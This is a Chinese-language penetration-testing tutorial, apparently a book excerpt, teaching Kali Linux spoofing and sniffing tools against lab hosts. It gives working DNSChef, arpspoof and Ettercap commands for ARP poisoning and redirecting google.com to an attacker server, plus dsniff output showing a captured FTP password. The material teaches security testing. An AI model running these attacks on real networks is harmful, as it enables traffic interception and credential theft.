● 如果被测主机安装的是 Windows,您可通过控制面板的网络连接选项进行相应的设置。


在没有权限更改被测主机 DNS 服务器设置的情况下,您就需要使用其他手段(例如ARP欺骗并搭设一个伪DHCP服务器等)劫持被测主机的DNS请求。


本例涉及2台主机,一台是运行DNSChef的主机,其IP为192.168.2.21;另一台是被测(受害人的)主机,其IP是192.168.2.22。简便起见,我们用Metasploitable的虚拟机充当被测主机。


首先,我们要对DNSChef进行设置。


(1)设置为DNS代理


第一步是把DNSChef设置为DNS代理服务器。我们要在DNSChef的主机上运行下述指令。


# dnschef


而后调整这台主机的DNS设置,使之使用本机(localhost)的DNS服务器。


然后使用下述命令查询google.com的DNS记录。


host -t A google.com


上述指令向DNSChef发起DNS查询,应当会显示图20所示的信息。

图20

这种设置将DNSChef调整为DNS代理服务器。它将所有DNS解析请求转发到上游解析服务器。本例中,它的上游DNS服务器是8.8.8.8。


(2)伪造域名记录


在伪造google.com的域名记录之前,先来看看google.com的原始解析结果(见图21)。

图21

现在,我们要伪造 google.com 有关的 DNS 响应。和前一个例子里的情况一样,首先要修改/etc/resolv.conf文件,令被测主机使用DNSChef作为其DNS服务器。


接下来在DNSChef所在的主机上使用下述指令。


# dnschef --fakeip=192.168.2.21 --fakedomains google.com

--interface 192.168.2.21 -q


而后我们在被测主机查询google.com的IP地址。


$ host -t A google.com


上述指令的运行结果如下。


google.com has address 192.168.2.21


此时,运行DNSChef的主机将提示图22所示的信息。

图22

Kali集成的是v0.1版本的DNSChef程序。这个版本不支持IPv6。如果需要在IPv6的网络中使用这个程序,您需要将其升级为 v0.2 版。


如需在IP v6 的网络里使用DNSChef程序,就要在指令行里启用-6 选项。


此时,域名 google.com 的 IPv6 的真正地址是 2404:6800:4003:802::1003。DNSChef主机的IPv6地址是fe80::a00:27ff:fe1c:5122/64。


在DNSChef服务器中,使用下述指令伪造google.com的IPv6地址。


dnschef.py -6 --fakeipv6 fe80::a00:27ff:fe1c:5122 --interface :: -q


2、arpspoof


arpspoof 是一款在交换网络中辅助进行网络监听的实用工具。前面提过,在使用交换机进行数据交换的网络环境里很难进行网络监听,但arpspoof可以辅助我们完成这项任务。


arpspoof用于伪造网络中两台设备的ARP通信。


常规情况下,当主机A要和主机B(网关)进行通信的时候,主机A会广播ARP请求以获取主机B 的MAC 地址。此后,主机B 将会回应这个ARP 请求,在ARP Reply 数据包里声明自己的MAC地址;与此同时,主机B也会将ARP广播中主机A的MAC地址记录下来。此后,主机A和主机B才能开始通信(见图23)。

图23

如果攻击者C想要监听主机A和主机B之间的网络流量,则可以向主机A发送ARP回复,告诉它主机B使用的是主机C的MAC地址(33.33.33.33.33.33);而后它还要通告主机B,“主机A的MAC地址是33.33.33.33.33.33”(见图24)。

图24

ARP欺骗生效之后,主机A和主机B之间的所有网络数据包都会通过主机C转发。


在使用arpspoof之前,需要在Kali Linux(运行ARPspoof)的主机上启用IP 转发功能。这就需要以root用户的身份执行下述指令。


# echo 1 > /proc/sys/net/ipv4/ip_forward


要通过指令行界面启动arpspoof程序,可在终端中执行下述指令。


# arpspoof


上述指令将会在屏幕上显示程序的使用说明。


本例的试验环境的具体情况如下所示。


网关的配置信息如下。


● MAC 地址:00-50-56-C0-00-08

● IP 地址:192.168.65.1

● 子网掩码:255.255.255.0


被测主机的配置如下。


● MAC 地址:00-0C-29-35-C9-CD

● IP 地址:192.168.65.129

● 子网掩码:255.255.255.0


测试主机的配置如下。


● MAC 地址:00: 0C: 29: 09: 22: 31

● IP 地址:192.168.65.130

● 子网掩码:255.255.255.0


在启动程序以前,被测主机的ARP缓存如下所示。


Interface: 192.168.65.129 --- 0x30002

Internet Address Physical Address Type

192.168.65.1  00-50-56-c0-00-08 dynamic


通过以下命令,对被测主机实施ARP欺骗。


# arpspoof -t 192.168.65.129 192.168.65.1


在被测主机上稍等片刻,然后用 ping 命令测试网关的连接情况。被测主机的 ARP 缓存很快就就会改变为下述内容。


Interface: 192.168.65.129 --- 0x30002

Internet Address Physical Address Type

192.168.65.1  00-0C-29-09-22-31 dynamic


上述信息表明,在被测主机的ARP缓存里,网关的MAC地址由00-50-56-c0-00-08改变为00-0C-29-09-22-31。新的MAC地址是测试主机的MAC地址。从中可以看出,网关对应MAC地址已经变成攻击者机器的MAC地址。


3、Ettercap


Ettercap是一款在LAN中进行中间人攻击的工具集。它通过ARP攻击充当网络通信的中间人。一旦ARP协议的攻击奏效,它就能够:


● 修改数据连接;

● 截获FTP、HTTP、POP 和SSH1 等协议的密码

● 通过伪造SSL 证书的手段劫持被测主机的HTTPS 会话。


ARP协议(地址解析协议)用来把IP地址解析为物理地址(MAC地址)。当某个网络设备需要与其他网络资源通信时,它会通过ARP广播查询目标设备的MAC地址,目标设备也会通过ARP协议的数据包回复自己的MAC地址。此后,通信双方都会将IP和MAC的对应信息保存到自己的ARP缓存中,以节省后续通信的查询时间。


在某台主机要进行通信时,它首先会查询对方IP地址的MAC地址。此时,攻击人员可将自己主机回复给查询MAC地址的主机,以进行中间人攻击。这种攻击叫做ARP毒化(污染)攻击和ARP欺骗。只有当攻击主机和被测主机处于同一网段的时候,这种攻击才会有效。


Kali Linux 提供的Ettercap 工具可以实施这种攻击。Ettercap 有三种操作模式:文本模式、仿图形(curses,以字符模拟图形界面)模式和GTK界面的图形樸式。


若要以文本模式启动Ettercap程序,可在终端中使用下述指令。


# ettercap -T


若要以仿图形模式启动它,可在终端中使用下述指令。


# ettercap -C


若要进入Ettercap的图形模式,可在终端中使用下述指令。


# ettercap -G


本例将使用Ettercap程序进行DNS欺骗攻击。各主机采用了前一个例子的配置方法。此外,本例要使用额外的两台主机:IP为192.16S.2.1的DNS服务器;一台诱导被测主机连接的IP地址为192.168.2.22的Web服务器。攻击人员测试主机的IP地址为192.168.2.21。


欺骗攻击的详细步骤如下。


(1) 进入Ettercap 的图形模式。


(2) 在菜单里依次选中Sniff | Unified sniffing,选则相应的网卡,如图25所示。

图25

(3) 在菜单中选择Hosts | Scan for hosts,扫描网络中的主机。


(4) 在菜单中选择Hosts | Hosts list,査看当前联网的主机。


(5) 指定要欺骗的主机。本例中,我们选择192.168.2.1(DNS 服务器)作为第一目标。在主机列表中,选中这个IP,然后点击Add to Target 1。接下来,选中192.168.2.22并把它添加为第二目标Add to Target 22,如图26 所示。

图26

(6) 在菜单里依次选中Mitm| Arp poisoning,以启动ARP 攻击。现在DNS 服务器和被测的MAC 地址均认为对方的IP 使用的是攻击人员主机的MAC 地址。


(7) 调整配置文件/usr/share/ettercap/etter.dns,将诱导服务器的 IP 地址绑定在需要欺骗(拦截)的域名上。


google.com  A  192.168.2.21

*.google.com A  192.168.2.21

www.google.com PTR 192.168.2.21


这将把被测主机与google.com之间的全部通信诱导到攻击人员部署的Web服务器上。


(8) 在菜单里依次选中 Plugins | Manage the plugins,然后双击(激活)dns_spoof插件(见图27)。

图27

(9) 最后,我们在被测主机上打开浏览器,访问google.com。这将看到图28 所示的信息。

图28

上述情况表明,DNS欺骗已经奏效。被测主机没有看到真正的Google网站,它的浏览器访问的是攻击人员部署的Web服务器。


(10) 如需停止攻击,可在菜单中依次选中Mitm | Stop mitm attack(s)。


即使觉得图形界面的操作过于繁琐,您也不必担心。在Ettercap的文本模式里,这些操作要简洁得多。


在文本模式里,以下指令就可完成刚才的前8步操作(第7步除外)。


# ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1//192.168.2.22/


上述指令的运行结果如下。


Scanning for merged targets (2 hosts)...

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.2.1 F4:EC:38:EC:07:DC

GROUP 2 : 192.168.2.22 08:00:27:43:15:18Starting Unified sniffing...

Activating dns_spoof plugin...

dns_spoof: [safebrowsing-cache.google.com] spoofed to [192.168.2.21]


只要熟悉了Ettercap各选项的使用方法,就会发现Ettercap的文本模式十分方便。在文本模式里,按Q键就可退出程序。


四、网络嗅探器


网络嗅探器是监视网络数据的软件程序或硬件设备。人们往往利用它复制网络数据的功能来检测网络数据。借助这类工具,您可以看到网络中正在传输的信息。


不久之前,网络嗅探器只是网络工程师用来解决网络问题的工具。但是,它确实可以用来作恶。如果网络数据以明文传输,且计算机之间通过集线器交换数据,那么网络里的通信信息,例如用户名、密码、邮件内容等,将很容易被他人捕获。幸运的是,如果使用交换机组网,那么捕获数据的难度会高一些,但是他人仍然能够捕获信息。


许多工具程序都可用作网络嗅探器。下面将介绍几款Kali Linux 收录了的网络嗅探器。多数情况下,您需要在嗅探数据以前进行网络欺骗攻击,因为它通常是成功施行网络嗅探的前提。


1、Dsniff


Dsniff 能够在网络中捕获密码。目前,它可从以下协议中捕获密码:FTP、Telnet、SMTP、HTTP、POP、poppass、NNTP、IMAP、SNMP、LDAP、Rlogin、RIP、OSPF、PPTP MS-CHAP、NFS、VRRP、YP/NIS、SOCKS、X11、CVS、IRC、AIM、ICQ、 Napster、PostgreSQL、Meeting Maker、Citrix ICA、Symantec pcAnywhere、NAI Sniffer、Microsoft SMB、Oracle SQL*Net、Sybase 以及Microsoft SQL。


如需启动dsniff程序,可在终端中使用下述指令。

# dsniff -h


上述指令将会在屏幕上显示程序的使用说明。我们将使用它捕获FTP 密码。在本例的演示中,FTP客户端的IP是192.168.2.20,服务器IP则是192.168.2.22,这两台主机通过集线器连接。攻击人员的主机IP为192.168.2.21。


在攻击人员的测试主机上执行下述指令。


# dsniff -i eth0 -m


其中,选项-i eth0 将使Dsniff 程序监听eth0 网卡。而选项-m 则用于启用程序的自动协议检测功能。


然后,在装有FTP客户端程序的主机上,使用客户端程序登录FTP服务器。


dsniff的运行结果如下。


dsniff: listening on eth0

----------------

20/08/13 18:54:53 tcp 192.168.2.20.36761 -> 192.168.2.22.21 (ftp)

USER user

PASS user01


从中可以看到,dsniff捕获了客户端登录FTP服务器时所用的用户名和密码


2、tcpdump


tcpdump程序是一款网络嗅探器,它可以捕获符合条件表达式的网络数据包。在没有指定条件表达式的情况下,它会显示所有网络数据包。而在指定条件表达式的情况下,它只会捕获符合条件表达式的数据包。


tcpdump还可以将网络数据包存储为文件,或从文件中读取网络数据。


如需启动tcpdump程序,可在终端中执行下面这类指令。


# tcpdump –i eth0 –s 96


这个命令将监听eth0 网卡(-i eth0),捕获大小为96 字节(-s 96)的数据包。


现在尝试嗅探从IP地址10.0.2.15到10.0.2.100的ICMP封包,这里设置嗅探eth0 接口(-i eth0),不需要把地址转换成主机名(-n),不需要打印时间戳(-t),用十六进制格式和ASCII格式打印封包头和数据(-X)。在主机10.0.2.15处输入:


# tcpdump -n -t -X -i eth0 –s 64 icmp and src 192.168.56.102 and dst192.168.56.101


上述指令的运行结果如图29所示。

图29

因为指定了条件表达式,tcpdump程序只会显示符合条件表达式的网络数据包。在上述指令中,我们限定程序只显示由IP为192.168.56.102的主机向IP为192.168.56.101的主机发送的ICMP数据包。


3、Wireshark


Wireshark是一个网络协议分析程序。它的图形程序可对它捕获的数据包进行可视化分析,有助于使用人员理解数据包中的各种信息。


Wireshark的特征有:


● 能够分析1000 多种网络协议;

● 能够实时捕获网络数据包,并能对数据包进行离线分析;

● 它具有业内功能最强大的数据包整理(显示过滤)功能;

● 它的GUI 图形界面程序和命令行程序TShark 都可以显示数据包;

● 支持(读写)多种文件格式的数据包文件。兼容tcpdump(libpcap)、Network GeneralSniffer、Cisco Secure IDS iplog、Microsoft Network Monitor 等程序的文件格式;

● 可从IEEE 802.11、蓝牙、以太网设备实时读取数据;

● 可将结果导出为XML、Postscript、CSV 和文本格式的文件。


如需启动 Wireshark 程序,可在桌面菜单中依次选中Kali Linux | Sniffering/Spoofing | Network Sniffers | wireshark,或者在终端中使用下述指令。


# wireshark


上述指令将启动Wireshark网络协议分析程序。如果要捕捉网络数据,可以在Interface List中选择相应的网卡,如图30所示。

图30

Wireshark将在窗口里显示在监听期间捕获到的数据包。如果要停止捕捉网络数据,可以点击顶端工具栏中第四个按钮 Stop running the live capture,或着在菜单里选择Capture|Stop。


如图31所示,可以在Filter栏里设置过滤规则,以显示特定的数据包。

图31

在图31中,我们在Filter栏里设定好了过滤规则icmp,以使程序只显示ICMP协议的数据包。


如果需要调整捕获数据包的具体设置,可在菜单Capture | Options 中调整相应的选项,或在Wireshark 主界面中直接选中Capture Options 的图标(见图32)。

图32

在这个界面中,您可以调整以下设置。


● Network interface(网络接口/网卡)。

● Buffer Size(缓冲区大小):默认为1MB。

● Packet limitation(数据包容量上限,以字节为单位):默认情况下没有限制。

● Capture filter to be used(捕获规则):默认情况下没有过滤规则。


○ 如需保存捕获到的数据,可在Capture file(s)区域里设置输出文件的文件名。


○ 如需设置自动停止的功能,可在StopCapture区域里设置自动停止捕获数据的触发条件。触发条件可以是捕获数据包的数量、捕获数据包的作业时间或是数据包的大小。


○ 在Name Resolution 区域里,各选项用于控制MAC 地址解析、网络名称解析和传输名称解析的功能选项。


五、结语


本文演示了提升本地权限以及网络嗅探和网络欺骗的具体方法。此处介绍的所有工具都可用来取得更高的访问权限。攻击人员可以通过网络嗅探和网络欺骗手段获得更多的信息,还可能获取进入内网或者外网中其他主机的方式,这些信息中可能含有更具价值的信息。


我们最先介绍了本地权限提升漏洞的利用方法。在利用被测主机的网络服务漏洞之后,我们发现获取的权限很低,接着我们将自己的权限提升为 root 权限。通过本地安全漏洞提升权限的技术有很多,这里利用的是内核漏洞


接下来,我们阐述了攻击密码的方法。攻击的方法有两种:离线攻击和在线攻击。大多数的离线攻击工具可利用彩虹表提髙破解速度,但同时需要消耗大量的硬盘空间。离线攻击的好处是可以在自己的机器上进行,而无需担心攻击会导致目标机器上的某个账户被封停。在线攻击则可以马上査看攻击结果,但需要小心攻击可能导致目标机器上的某个账户被封停。接着,介绍了多款嗅探网络的工具,最后还介绍了一些可用于网络欺骗攻击的工具。网络嗅探工具属于被动攻击工具。相比之下,因为网络欺骗工具能够向网络发送数据,所以属于主动攻击工具。

微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存